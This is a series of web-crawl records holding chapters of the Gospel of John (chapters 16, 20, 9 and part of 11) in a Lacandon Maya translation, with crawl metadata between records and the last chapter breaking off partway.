Taj'or u Pixam C'uj quir u tsec'tic ti' techex ti' ten soc a werex u jach tajiren a teno'. 15 Tu cotor a ba' yʌn ti' in Teto' tu cotor ten yʌnin. Rajen tin wa'araj techex u beyaj u Taj'or u Pixam C'uj ra' quir u tsec'tic ti' techex ti' ten soc a werex u jach tajiren a teno'.\nCa' bin c'uchuc tu q'uinin je' u qui' tar a worex, quij Jesús\n16 Jesús caj ya'araj:\n―Chen sasame' ca bin a wiriquenex. Chen mʌ' ya'ab u q'uinin mʌ' ja bin a wiriquenex. Pachire' je' a ca' iriquenex. Cu ts'ocar aro' quin ca' bin ich in Tet C'uj ―quij Jesús.\n17 Jun yarob u camsʌwinicob caj u pacran aricob:\n―Ba' u c'at ya'aric aro'?: \"Chen sasame' ca bin a wiriquenex. Chen mʌ' ya'ab u q'uinin mʌ' ja bin a wiriquenex. Pachire' je' a ca' iriquenex. Cu ts'ocar aro' quin ca' bin ich in Tet C'uj\", quij Jesús. 18 Ba' u c'at ya'aric: Sansame'? Mʌ' ic najtic a ba' cu ya'aric ―baxuc cu pacran a'aricob u camsʌwinicob Jesús.\n19 Jesús caj u najtaj u c'atob u c'atic a ba' u c'at ya'aric, a ba' ara'b ti'ob same'. Rajen Jesús caj ya'araj ti'ob:\n―In wer a ba' ca pacran ariquexe'. Chen sasame' ca bin a wiriquenex. Chen mʌ' ya'ab u q'uinin mʌ' ja bin a wiriquenex. Pachire' je' a ca' iriquenexe'. Cu ts'ocar aro' quin ca' bin ich in Tet C'uj ―quij Jesús―. 20 Taj a ba' quin wa'aric techex. Ca bin a woc'arex, ca bin a tucurex. Chen a pimob cu bin u qui' tar u yorob. Sansame' ca chen tucurex. Pachire' cu qui' tarex a worex jach jaj. 21 Ca' bin c'uchuc tu q'uinin a xquico' cu bin u rochic chan och. Tucur u ca' quire' muc'yaj u ca', chen ca' bin ts'ocac u rochic chan och, cu tubur ti' u muc'yaj a tu yubaj. Chen pachir qui' yor quire' tu rochaj chan och. 22 Baxuc techex xan baje'rer tucur a ca'ex, irej a xquico'. Cu man mʌ' ya'ab u q'uinin je' a ca' iriquenex. Baxuc cu bin u qui'tar a worex xan. Mʌna' mac cu bin u ruc'sic u qui'ir a worex.\n23 'Ca' bin c'uchuc a ray q'uino' mʌ' ja bin a c'atic ba' ten. Taj a ba' quin wac techex. Ca' bin a t'ʌnex C'uj chich a wor ca' bin a t'ʌnejex. Je' u ts'ic techex tu cotor ba' quire' ta c'ʌnex in c'aba'. 24 Mʌ' toy a tumtex chen baje'rer a yʌnx chun techex a c'atiquex ti' in Tet. Tan a c'ʌniquex in c'aba' tu ca t'ʌniquex C'uj.\nToc c'ucha'an in wor ti' tu cotor ba' ich yoc'ocab, quij Jesús\n25 'A teno' ―quij Jesús―, tin c'ʌs mucraj a ba' tin wa'araj techex uch. Je' u c'uchur tu q'uinin mʌ' in mucric techex quin bin in toc aric techex in Tet C'uj. 26 Je' u c'uchur tu q'uinin ca' bin xiquen ich in Tet C'uj a ray u q'uinino'. A bʌjiri'ex ta junanex ca bin a c'atex ba' ti' in Tet C'uj quire' ta wacsex ta worex ten. Mʌ' ba'wir quin c'atic ti' in Tet C'uj ti' techex. 27 Quire' u bʌjiri' in Tet cu yajquintiquechex. Cu yajquintiquechex quire' ta yajquintenex quire' techex ta quibex ti' in tar ich C'uj. 28 Raji' taj, a teno' taren ich C'uj tera' ich yoc'ocab. Rajen baje'rer quin p'ʌtic yoc'ocab quire' wʌc'ʌs bin in ca' ich in Tet C'uj.\n29 U camsʌwinicob caj ya'arob ti':\n―Baje'rer tan a tsicbar soc in najticob a ba' ca wa'aric. Mʌ' tan a c'ʌs mucric a ba' ta wa'araj tenob tu ca p'eri'quintic a ba' ca camsic ti' tenob uch. 30 A tenobo', in werob tu cotor ba' a wer. Quire' a wer yʌn ba' quin c'aticob tech cax mʌ' toy in c'atob ti' tech a toc er. Rajen mʌ' ba'wir mac quir u c'atic tech ba'. Rajen quin quibicob tu tuchi'tech C'uj.\n31 Jesús caj ya'araj ti'ob:\n―A wacsmʌnex ta worex chen yʌn toy a c'atex. 32 Tabar u c'uchur tu q'uinin ca bin a p'ʌtiquenex tantanxer ca' bin xiquechex. Chen tin junan ca bin p'ʌtenex. Chen mʌ' tin junani' quire' ti' yʌn in nup, raji' in Tet C'uj. 33 Quin wa'aric techex tu cotor aro' soc mʌ' a ch'iquex sajaquirex quire' ta wacsex ta worex ten. Ti' toy cuxa'anechex ich yoc'ocab, je' a muc'yajex. Chen mʌ' a ch'iquex sajaquirex quire' a teno' ts'oc in toc ruc'sic u muc' u ts'urir a mac ti' yʌnob ich yoc'ocab. Baxuc techex ca bin a ruc'siquex u muc' u ts'urir a ti' yʌn ich yoc'ocabe'.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN16.htm","date":"2022-05-28T08:25:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00051.warc.gz","language":"lac","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000002384185791}","num_words":1180,"character_repetition_ratio":0.075,"word_repetition_ratio":0.063,"special_characters_ratio":0.294,"stopwords_ratio":0.49,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20\nJesús caj riq'uij quir u ca' cuxtar\n(Mt. 28.1‑10; Mr. 16.1‑8; Lc. 24.1‑12)\n1 Ra' u q'uinin cu yʌnxchun semana ti' toy ac'bir caj c'uchij María Magdalena tu' but' u baquer Jesús. Caj u yiraj toc bʌc'ʌsa'an u tunichirir u mac u jor a tu tu but'aj u baquer Jesús. 2 María Magdalena caj u c'ʌnaj u yacab caj bin tu' yʌn Juan u yajbir ten Jesús yejer Simón Pedro. Caj ya'araj:\n―Tu cuchob u baquer ic Jaj Ts'urirex, mʌ' ij quer tu tu purob u baqueri'.\n3 Rajen Pedro yejer Juan caj joc'ob caj binob tu' but'a'an u baquer Jesús. 4 Quet caj u c'ʌnob yacab. Chen Juan jach chich yacab raji' yʌn bat'an c'uchij tu but' u baquer Jesús. Chen Pedro sen yacab, pachir caj c'uchij. 5 A Juano' caj u tac ch'ena'btaj tu japnin caj u yiraj u sʌc noc' tu top u baquer Jesús uch. Ti' jana'an ich ru'um. Juan mʌ' oc tu japnin tunich. 6 Caj c'uchij Simón Pedro seb caj oquij tu japnin tu but' u baquer Jesús uch. Raji' caj u yiraj ti' jana'an u sʌc noq'uir tu top u baquer Jesús uch. U beri' jenric. 7 Baxuc tu yiraj u panyujir tu top u wich Jesús uch. Toc ca' ts'a'an, u tiri' jana'an. 8 Pachir caj oquij Juan a yʌn c'uch sasame' tu but' u baquer Jesús. Caj u yira ti' toc jana'an u noq'uir caj u quibaj riq'uij Jesús tu' quimen an ten bic caj u ya'araj Jesús. 9 A ucho' mʌ' ju najtob tu ts'iba'an u t'ʌn C'uj uch wa yʌn u riq'uir Jesús tu quimirir. Ra'iri' u q'uinin caj u najtajob. 10 Rajen Pedro yejer Juan yej u yet camsʌwinicob caj wʌc'ʌs sutnʌjob tu yatochob.\nJesús cu yesic u bʌj ti' María Magdelena\n(Mr. 16.9‑11)\n11 María caj ca' urij tu but' u baquer Jesús uch. Caj bin Pedro yejer Juan ti' p'at María. Oc'ar u ca'. Ti' toy cu yoc'ar caj u tac ch'enaptaj yirej u japnin tu but' u baquer Jesús uch. 12 María caj yiraj yʌjmasirob u t'ʌn C'uj ca'tur, jach sʌc u noc'ob ti' cura'anob tu chaquinta'b u baquer Jesús uch. Turiri' tu jo'rir, turiri' tu yoquir tu chaquinta'b u baquer Jesús uch. 13 Caj c'ata'b ti' ten yʌjmasirob u t'ʌn C'uj:\n―Xquic ―quen―, biquinin tan a woc'ar?\nRaji' caj u nuncaj tan ya'aric:\n―Quire' tu cuchob u baquer in Jaj Ts'urir, mʌ' in wer tuj tu purob u baquer in Jaj Ts'urir.\n14 María caj ts'oc ya'aric aro' caj u sut u bʌj caj u yiraj ti' yʌn Jesús chen mʌ' yer wa Jesúsi'. 15 Jesús caj ya'araj ti' María:\n―Xquic ―quij―, biquinin tan a woc'ar? Mac tan a cʌxtiqui'?\nMaría yer raji' a cu cʌnantic u chan corir tub u pʌc'mʌn u che'er Olivo. Rajen caj u ya'araj ti':\n―Tech wa ta ch'ajaj u baquer in Jaj Ts'urir, arej ten tub a puraj ca' xiquen in ch'a'ej.\n16 Jesús caj u nuncaj ti':\n―María ―quij.\nRajen María caj u sut u bʌj caj u ya'araj ti' ich u t'ʌn hebreo:\n―Raboni ―quij ya'araj. Raji' u c'at ya'aric: A wʌjcamsʌyʌjiren, quij Juan.\n17 Jesús caj u ya'araj ti':\n―Mʌ' a yʌn su'siquen quire' mʌ' xiquen tu' yʌn in Tet ich ca'anan. Ca' xiquech a wa'arej ti'ob in camsʌwinicob a irej in wits'inob. Arej ti'ob: tar quin bin ich in Tet. Baxuc tech, raji' a Tet xan. Ti' quin bin ich C'uj baxuc tech, raji' a C'uj xan. Baxuc yʌn a wac ti' in camsʌwinicob.\n18 Rajen María Magdalena caj bin ich u camsʌwinicob Jesús caj u ya'araj:\n―A teno' ―quij―, tin wiraj ic Jaj Ts'urirex.\nCaj u ya'araj ti'ob tu cotor a ba' ara'b ti' ten Jaj Ts'ur.\nJesús cu yesic u bʌj ti' u camsʌwinicob\n(Mt. 28.16‑20; Mr. 16.14‑18; Lc. 24.36‑49)\n19 Ra'iri' u q'uinin, oq'uin ti' toy u q'uinin cu yʌnxchun semana. U camsʌwinicob ti' u much'quinmʌnob u bʌj ich yatoch. U qui' mʌcmʌnob u jor quire' cu sʌjticob u jach ts'urirob u winiquirob judío. Seb caj yubob ti' c'uchij Jesús tu' yʌnob. Caj ch'icrʌj Jesús chumuc tu' yʌnob caj u rʌc t'ʌnaj tan ya'aric:\n―Taren in qui'quint a worex ―quij Jesús.\n20 Caj ts'oc ya'aric aro' ti'ob caj yes u c'ʌb tuj bajij yejer u ch'ʌ'ra'tir tuj rom. Rajen yerob ic Jaj Ts'urirex. Rajen jach qui' yorob. 21 Jesús tu ca' araj ti'ob:\n―Qui'quintex a worex. An ten bic in Tet caj u tuchi'tajen ich yoc'ocab. Baxuc techex quin tuchi'tiquechex quir a beyajex ti' ten.\n22 Caj ts'oc ya'aric aro' caj u yustaj u camsʌwinicob caj ya'araj ti'ob:\n―Baje'rer a wet binaquex u Taj'or u Pixam C'uj. 23 A mac cu c'axicob yor c'ucha'an a worex a wa'ariquex ti'ob: \"Jawsa'b u si'pirob.\" Chen a mac mʌ' u c'axicob yor c'ucha'an a wor a wa'ariquex ti'ob: \"Mʌ' jawsa'an u si'pirobi'.\"\nTomás mʌ' ju quibaj wa riq'uij Jesús\n24 Tomás mʌ' ti' yʌn ca'chi' yejer u yet camsʌwinicob caj c'uchij Jesús. Raji' turiri' ich a doce u camsʌwinicob Jesús. Raji' a toc ca'tur caj rocha'b ten u nʌ' uch. 25 Caj c'uchij Tomás. U yet camsʌwinicob caj u ya'arob:\n―Tin wirob ic Jaj Ts'urirex.\nChen Tomás caj u nuncaj tan ya'aric:\n―Wa mʌ' in wiric u c'ʌb tu bajij yejer clavo. Wa mʌ' in jupic u yar in c'ʌb tu jorir clavo tuj bajij u c'ʌb, baxuc wa mʌ' in jupic in c'ʌb tuj rom u ch'ʌra'tir, mʌ' in quibic wa riq'uir Jesús ―quij Tomás.\n26 Caj c'uchij u jer semana u camsʌwinicob ti' cu much'quinticob u bʌj. A ray u q'uinino' ti' yʌn Tomás yejerob ich yatoch. Qui' mʌcmʌnob u jor. Seb caj yubob ti' yʌn Jesús yejerob caj ch'irʌj Jesús chumuc tu' yʌnob. Caj ya'araj:\n―Taren in qui'quintic a worex ―quij Jesús.\n27 Jesús caj ya'araj ti' Tomás:\n―Cojen jupej yar a c'ʌb tuj bʌja'an in c'ʌb iric in c'ʌb. Tich'ej yar a c'ʌb ca' a jupej tuj rom in ch'ʌra'tir. Mʌ' a tucric wa mʌ' taji' quire' riq'uen tuj quimen. Quibej riq'uen ich in quimirir.\n28 Rajen Tomás caj u nuncaj caj ya'araj:\n―In Jaj Ts'urirech ―quij―, in C'ujech xan ―quij Tomás.\n29 Jesús caj ya'araj ti':\n―Tomás ―quij―, a techo' mʌ' ja quibaj hasta caj a wiraj riq'uen ti' in quimirir. Chen jach manan qui' yorob a mac a cu quibicob riq'uen ti' in quimirir cax mʌ' ju yirajenob.\nBiquinin Juan caj u ts'ibtaj a je' ju'una'\n30 Ti' toy ya'ab carem beyajob tu yesaj Jesús ti' u camsʌwinicob Jesús. Chen mʌ' ts'ibta'b ich a je' ju'una'. 31 Chen caj u ts'ibtaj a je' t'ʌna' soc a quibiquex a Jesúso', raji' Cristo a teta'b ten C'uj quir u taquico'onex, u parar C'uj. Wa baxuc ca quibico' toc yʌn a cuxtar munt q'uin.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN20.htm","date":"2022-05-28T06:24:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00076.warc.gz","language":"lac","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999960660934448}","num_words":1075,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.294,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\nA mac ch'op u wicho' caj toc rocha'b ten u nʌ' uch, jawsa'b ten Jesús\n1 Tu cu man Jesús, ti' tu yiraj ch'op u wich toc berer caj rocha'b ten u na'. 2 U camsʌwinicob caj u c'atajob ti' Jesús tan ya'aricob:\n―A wʌjcamsʌyʌjirenob ―quij―. Mac u si'pir quire' toc ch'op u wich caj rocha'b ten u na'? Wa ja je' xiba' yʌn u si'pir wa ju tet yejer u na', yʌn u si'pirob?\n3 Jesús caj u nuncaj ti'ob tan ya'aric:\n―Mʌ' u bʌjiri' u si'pir, mʌ' u si'pir u tet yejer u na' xan. Toc berer ch'opir u wich caj rocha'b ten u na' soc yesa' ten C'uj jach carem beyaj ti' a je' xiba'. 4 Ti' toy cuxa'anen baje'rer te' ich yoc'ocaba'. Yʌn u q'uinin quir in beyaj ti' in Tet C'uj a mac tu tuchi'tajen. Ca' bin quimiquen ts'oc in beyaj tera' ich yoc'ocab. 5 Mun q'uin ti' yʌnen ich yoc'ocab, quire' a teno' tuchi'taben ten C'uj, iren quib quir in wesiquex tech u jach jajir u t'ʌn C'uj.\n6 Caj ts'oc ya'aric aro' Jesús caj u tubaj ich u noy ru'um caj u jach'quintaj u noy ru'um caj u ch'aj u jach'ir u ru'umin caj u jic'taj tu boxer u wich a ch'op u wicho'. 7 Jesús caj ya'araj ti':\n―Ca' xiquech ca' a ja'xtej a wich tu cuch u yacʌr ya'arir pʌcha'an u c'aba' Siloé ―u c'at ya'aric aro' tu cuch u tar ya'arir.\nA ch'op u wicho' caj binij u ja'xtej u wich ich u cuch ya'arir Siloé caj urij chʌca'an yiric u bej. 8 Rajen u yet cajarob caj yirob. Baxuc a mac tu yirob uch a ch'op u wicho' caj u pacran arob tan ya'aricob:\n―Mʌ' wa raji' a cu cutar u c'atej u taq'uin uche'? ―baxuc u pacran aricob.\n9 Yʌn mac tu ya'arob:\n―Raji'.\nYʌn u jerob tu ya'arob:\n―Mʌ' raji'.\nMʌ' ja wirej, cu c'ʌs c'ʌ'oticob. Chen u bʌjiri' tu ya'araj:\n―Jach jaj raji' ten ―quij―, a ch'op in wich uche'.\n10 Rajen robob caj u c'atob ti', tan ya'aric:\n―Bic tabar caj jaw u ch'opir a wich baje'rer?\n11 A ch'op u wich ucho' caj u nuncaj ti'ob, tan ya'aric:\n―A ray xibo', Jesús u c'aba', caj u jach'quintaj u noy ru'um caj u jic'taj tu boxer in wich. Caj ya'araj ten: \"Ca' xiquech, quij, ich tu cu yacʌr ya'arir u c'aba' Siloé.\" Rajen binen in jax tin wich. Rajen baje'rer chʌca'an in wiric in ber ―quij a ch'op u wicho'.\n12 Robob caj u c'atob ti' a ch'op u wich ucho'.\n―Tu' yʌn a mac a ta tsicbʌtaj ucho'?\nCaj u ya'araj ti'ob:\n―Mʌ' in wer tu' yʌni'.\nA fariseojo' cu c'aticob ti' bic jawsa'b u wich\n13 Caj bin purbir a mac jawsa'b u wich ʌcʌtan ich a fariseojo'. 14 Ra' u q'uinin cu jesicob u bʌj u winiquirob judío caj u jach'quintaj u noy ru'um Jesús caj u jawsaj a ch'op u wich ucho'. 15 A fariseojo' xan caj u c'atob ti' a xibo' bic jawsa'b u wich. Raji' caj u ya'araj ti'ob:\n―Jesús ―quij―, caj u jic'taj tu boxer in wich a tu jach'quintaj u noy ru'um. Pachir caj binen in ja'x tin wich, rajen chʌca'an in wiric in ber baje'rer.\n16 Rajen caj ya'arob a ti' yʌn jun yarob a fariseojo':\n―A xibo' a ray ca tsicbar ti' mʌ' raji' C'uj yʌnin quire' raji' mʌ' u cʌnantic u q'uinin ic jesiquex ic bʌjex.\nChen u jerob caj ya'arob:\n―Bic tabar a mac a cu betic carem beyaj a mac yʌn u si'pir?\nRajen mʌ' p'eri' yorob a fariseojo'. 17 Rajen robob caj u ca' c'atob ti' a ch'op u wich ucho'. Tech, ba' ca wac tech ti' a mac a tu jawsaj a wich?\nA xibo' caj u nuncaj ti'ob, tan ya'aric:\n―A teno' quin wa'aric raji' yʌjtseq'uir u t'ʌn C'uj ―quij.\n18 U winiquirob judío mʌ' u c'at u quibicob a ba' ara'b ti'ob ten a ch'op u wich ucho'. Mʌ' ju quibob u t'ʌn hasta caj tarob u na' yejer u tet a mac jawsa'b u wich. 19 Caj c'uchob u tet yejer u na' caj u c'atob ti'ob:\n―A je'ra' a pararex toc ch'op wa ju wich caj rocha'b ten u na' uch? Baxuc ca wa'aric uch? Bic tabar baje'rer quire' chʌca'an yiric u ber?\n20 U tet yejer u na' caj u nuncob ti'ob tan ya'aric:\n―In werob a jera' quire' in pararob toc berer ti' ch'op u wich caj rocha'b ten u na' uch. 21 Chen a tenobo' mʌ' in werob bic tabar caj jaw u wich. Baxuc mʌ' in werob mac tu jawsaj u wich. C'atex a wu'yej ti' quire' ch'ijij, u bʌjiri' cu yac techex tu junan.\n22 Baxuc caj u nuncob u tet yej u na' quire' tu ch'ajob sajquir ti' u jach ts'urirob sacerdote. Mʌ' ja wirej, u jach ts'urirob sacerdote tu ts'ajob u t'ʌnin tan ya'aricob: \"Toc jumpuri' mʌ' u yʌnyʌn ocar ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío, a mac tu yubaj ya'aric ti' u rac'ob: A Jesúso', raji' yʌjtaquiro'onex.\" 23 Rajen u tet yejer u na' caj ya'arob: \"C'atex a wu'yex ti' quire' ch'ijij. Je' yac techex bic caj jaw u wich.\"\n24 U jach ts'urirob sacerdote caj u wʌc'ʌs pʌyob a ch'op u wich uch, caj ya'arob ti':\n―Ca' a wa'arej ti' C'uj: \"Bayo' C'uj tech ta jawsaj in wich.\" A mac a ca tsicbar ti', a tenobo' in werob yʌn u si'pir.\n25 Raji' caj u ya'araj ti'ob:\n―A teno' mʌ' in wer wa yʌn u si'pir. In chen er baje'rer quire' chʌca'an in wiric in ber. A ucho' mʌ' chʌca'an in wiric in ber ―quij.\n26 Robob caj u ca' c'atob ti':\n―Ba' tu betaj tech? Bic tabar caj u jawsaj a wich? ―quijob.\n27 Raji' caj u nuncaj ti'ob tan ya'aric:\n―Biquinin tin toc araj techex ca'ch? Chen techex mʌ' a c'atex a quibexi'. Biquinin a c'atex a ca' u'yiquex, je' wa ja binex tu pach quir a cʌniquex u t'ʌn?\n28 Robob caj u yʌnxchun u p'asticob ti' tan ya'aricob ti':\n―A techo' ca bin tu pach quir a cʌnic u t'ʌn a mac a yʌn u si'piro'. Chen a tenobo' quin binob tu pach ic nunquir Moisés quir in cʌnicob u t'ʌn Moisés uch. 29 A tenobo' in werob C'uj cu tsicbar ti' Moisés uch. A ray ca tsicba ti' mʌ' in werob tub u tari' ―quijob u winiquirob judío.\n30 A xibo' caj u nuncaj ti'ob, tan ya'aric:\n―A techexo' ca jac'siquex in wor quire' ca waquex mʌ' a werex tub u tari'. Tu jawsaj in wich mʌ' wa ca wiriquex jaw in wich. 31 Ij querex a C'uj mʌ' ju yubic u t'ʌn a mac a yʌn u si'pire'. A C'ujo' cu chen u'yic u t'ʌn a mac a cu sʌjtic C'uj, a mac a tan u betic a ba' u c'at C'ujo'. Ra' cu yubic C'uj. 32 Mʌ' ja wirej, caj yʌnxbeta'b yoc'ocab taquij baje'rer, mʌ' ij cu'yimʌnex mac jawsa'b u wich ch'op a ju toc berer caj rocha'b ten u nʌ' ―raji', aric a ch'op u wicho'―. 33 A quin tsicbʌtic ti', wa mʌ' tarij ich C'uj, mʌ' c'ucha'an yor u betic baxuc a jera' ―quij a ch'op wich ucho'.\n34 Robob caj u nuncob ti' tan ya'aric:\n―Bic ca bin a camsic tenob? Mʌ' toy u rochech a na', uch toc yʌn a si'pir tech uch ―baxuc caj ya'arob ti'.\nRobob caj ya'arob ti' jumpuri':\n―Mʌ' a yʌnyʌn ocar ich chan naj tu cu naj c'ujinticob C'uj u winiquirob judío.\nA mac a cu tus tucric yer C'uj, u berer a mac ch'op u wichob\n35 Jesús caj yubaj a mac ch'op u wich ucho', toc jumpuri' toc joc'sa'b ich chan naj tu cu naj c'ujinticob C'uj u winiquirob judío. Rajen Jesús caj tar u tsicbar ti' a xibo', ra' jaw u wicho'. Caj u yiraj caj u c'ataj ti':\n―Ca wacsic wa ta wor ti' u parar C'uj a mac a yʌn tu cotor u muc' C'uj?\n36 A xibo' a jaw u wicho' caj u nuncaj ti' tan ya'aric:\n―Maqui' in Jaj Ts'urir? In c'at in wacsic tin wor ti'.\n37 Jesús caj u nunca ti' tan ya'aric:\n―A techo' ta wirajen baje'rer. Raji'en a tan u tsicbar yejerech.\n38 A xibo' caj u nuncaj ti', tan ya'aric:\n―Quin wacsic tin wor tech, Jaj Ts'urir.\nCaj xonrʌj tu' yʌn Jesús. 39 Jesús caj ya'araj ti':\n―A teno' taren ich yoc'ocab soc u sasichʌjʌr u wich a mac ch'op u wiche'. A mac a cu ya'aric: \"Sasij in wicho'\", cu bin tar ti', irej wa ch'op u wich.\n40 Ti' yʌn a fariseojo' tu' yʌn Jesús caj yubob a ba' caj u ya'araj Jesús. Rajen caj u c'atob ti':\n―Ca tucric wa ja tenob ch'opob in wichob ―baxuc caj ya'arob.\n41 Jesús caj u nuncaj ti'ob, tan ya'aric:\n―Wa ch'op a wichex mʌna' a si'pirex techex. Quire' ca waquex: \"Sasir in wichob\", rajen yʌn a si'pirex techex quire' ca waquex sasir a wichex.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN09.htm","date":"2022-05-29T09:08:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663048462.97\/warc\/CC-MAIN-20220529072915-20220529102915-00663.warc.gz","language":"lac","language_score":1.0000020266,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000020265579224}","num_words":1460,"character_repetition_ratio":0.084,"word_repetition_ratio":0.004,"special_characters_ratio":0.308,"stopwords_ratio":0.475,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11\nQuimij Lázaro\n1 Ti' yʌn mac uch tu cʌnaj u yajir. Raji' u c'aba' Lázaro, ti' u tar uch ich u cajar Betania, ra' u wa'an u ru'umin Judea. Lázaro ti' cʌja'anob ich u cajar uch yejer u yits'inob María yejer Marta. 2 María, raji' a tu jayaj a qui' u boco' tu yoc Jesús caj u tisaj yejer u tsotser u jo'r ca' tijic. A mac u cʌmʌn u yajir raji' u sucu'unob Lázaro. 3 Rajen u yits'inob Lázaro caj tuchi'ta'b ca' xic pʌybir Jesús tan ya'aricob ti':\n―Jaj Ts'urir ―quij―, a mac a jach yaj a wiric baje'rer yajij ―baxuc caj ya'arob a mac tuchi'ta'b ten María yejer Marta.\n4 Jesús caj yuba caj ya'araj:\n―A tu cʌnaj u yajir, mʌ' quir u jach quimin chen quir u sʌjta' C'uj ten tu cotor mac. Cu bin quimij soc ten xan cu sʌjtiquenob tu cotor mac quire' u pararen C'uj a tuchi'ta'ben ten C'uj.\n5 Jesús tu yajquintaj Marta yejer u yits'in María yejer Lázaro, 6 chen p'atij Jesús u jer ca'tur u q'uinin tu' yʌni' cax tu yubaj tu cʌnaj u yajir Lázaro. 7 Pachir caj ya'araj ti' u camsʌwinicob:\n―Jeroj cuxex ca' wʌc'ʌs xico'on ich u ru'umin Judea ―quij Jesús.\n8 Chen u camsʌwinicob caj ya'arob:\n―A wʌjcamsʌyʌjirenob ―quij―, u winiquirob judío u c'at u ch'inicob a jo'r uch. Biquinin a c'at a ca' bin ti' taro'?\n9 Jesús caj u ya'araj ti'ob bic yira' u beyaj C'uj. Rajen caj u ya'araj ti'ob:\n―A C'ujo' tu ts'aj to'onex juntur u q'uinin doce horas. Mʌ' ja wirej, a mac a cu man chunq'uine', mʌ' ju cojar yoc, quire' ti' toy chunq'uini'. 10 Chen wa cu yac'birchʌjʌr c'uchij tu q'uinin cu cojar yoc quire' mʌ' sasiri'.\nBaxuc a jera' Jesús tu cha' ic najtic mʌ' ju bin quinsbir Jesús hasta cu c'uchur tu q'uinin a tu p'isa C'uj uch. Rajen mʌna' ba' u ber ti' Jesús ten mac.\n11 Pachir Jesús caj u ya'araj ti' u camsʌwinicob:\n―A Lázarojo' a jic jach yaj tan u wenʌn. Tar quin bino' quir in wʌsic quire' wenʌn u ca' ―quij Jesús.\n12 U camsʌwinicob caj ya'arob ti':\n―Jaj Ts'urir ―quij―, wa wenʌn u ca', je' u ch'ic yore'.\n13 Baxuc Jesús caj u ya'ara ti'ob quire' jach quimen Lázaro chen u camsʌwinicob cu tucricob jach wenʌn u ca' tan u je'sic u bʌj. Rajen cu bin u ch'ic yor. 14 Rajen Jesús mʌ' tu mucraj caj u ya'araj ti'ob:\n―Lázaro jach quimij.\n15 Caj ya'araj Jesús:\n―Qui' in wor quire' mʌ' ti' yʌnenob tu' yʌn Lázaro, soc a wacsiquex ta wor ten. Chen cuxex ij quirej.\n16 Rajen Tomás caj u ya'araj ti' u yet camsʌwinicob, raji' cu ya'aricob u yet camsʌwinicob Gemelo, mʌ' ja wirej, caj rocha'b ten u na' toc ca'tur:\n―Cuxex ca' quimico'onex yejer Jesús. Yer je' u quinsa'r Jesús.\nQuire' a teno' yʌn u cuxtar mac munt q'uin\n17 Caj u bin Jesús yejer u camsʌwinicob caj c'uchob cuatro u q'uinin tub but'i u baquer ich u jap'nin tunich Lázaro. 18 U cajar Lázaro, raji' Betania baytʌc ich u cajar Jerusalén. Ya'aric ca'tur kilómetro chumuc u nachir. 19 Ya'ab u winiquirob judío caj binob tu' yʌn Marta yejer María quir u qui'quinta' yorob soc p'eri'ob ya'cticob u sucu'unob. 20 Marta caj yuba tabar u c'uchur Jesús caj binij quir u nup'ic ich bej. Chen María ti' p'atij ich naj. 21 Marta caj c'uchij ich Jesús caj ya'araj:\n―Jaj Ts'urir ―quij―, wa ti' yʌnech uch caj u cʌnaj u yajir in sucu'un mʌ' quimij uch je' a jawsique'. 22 Quire' in wer C'uj cu ts'ic tech baje'rer a ba' ca c'atic ti' ―quij Marta.\n23 Jesús caj ya'araj ti':\n―A sucu'un je' u riq'uire' tu but'ij ich jap'nin tunich ―quij Jesús.\n24 Marta caj u ya'araj ti':\n―In wer in sucu'un je' u ca' cuxtare' ca' bin xuruc t'ʌn ca' bin cuxrac tu cotor mac.\n25 Jesús caj u ya'araj ti':\n―Quire' a teno' yʌn u cuxtar mac. Quire' a teno' yʌn u ca' cuxtar mac, a maque' cu yacsic tu yor ten quire' yer yʌjtaquiren a teno' cax cu bin quimin cu bin cuxtar munt q'uin. 26 Tu cotor mac a cu cuxtar munt q'uin a mac a cu yacsic tu yor ten quire' yer yʌjtaquiren a teno'. Mʌ' ju bin satʌr mʌ' biq'uin. Ta quibaj aro' ―quij Jesús.\n27 Marta caj u ya'ara ti':\n―Quin quibic Jaj Ts'urir in wer a techo' Cristojech, u pararech C'uj a mac a cu bin tar ich yoc'ocab ―quij Marta.\nJesús oc'nʌjij\n28 Marta caj ts'oc ya'aric aro' caj bin u pʌyej u yits'in caj u muc u araj ti':\n―Ij cʌjcamsʌyʌjir c'uchij caj u tuchi'tajen ca' in pʌyech.\n29 Caj yuba ya'aric aro' María seb caj riq'uij caj bin irbir Jesús. 30 Jesús mʌ' toy c'uchuc ich u cajar ti' yʌn tub u nup'a Marta ich bej ca'ch. 31 Rajen u winiquirob judío a tarob u qui'quinticob yor a ti' yʌnob ich yatoch yejer ca'ch. Caj yirob seb u joc'ar María caj sayob tu pach quire' cu tucricob ti' cu bin tu' but' u baquer u sucu'un quir u yactic.\n32 Caj c'uchij María tu' yʌn Jesús caj xonrʌj tu' yʌn Jesús tan ya'aric ti':\n―Jaj Ts'urir ―quij―, wa ti' yʌnech uch caj u cʌnaj u yajir in sucu'un mʌ' quimij uch je' a jawsique' ―quij María.\n33 Jesús caj u yiraj yoc'ar María baxuc u winiquirob judío a sayob tu pach María yaj yubaj tu yor quire' mʌ' u c'at yiric u quimin mac. 34 Jesús caj u c'ataj ti'ob:\n―Tub a but'ex u baquer Lázaro?\nCaj ya'arob:\n―Jaj Ts'urir, 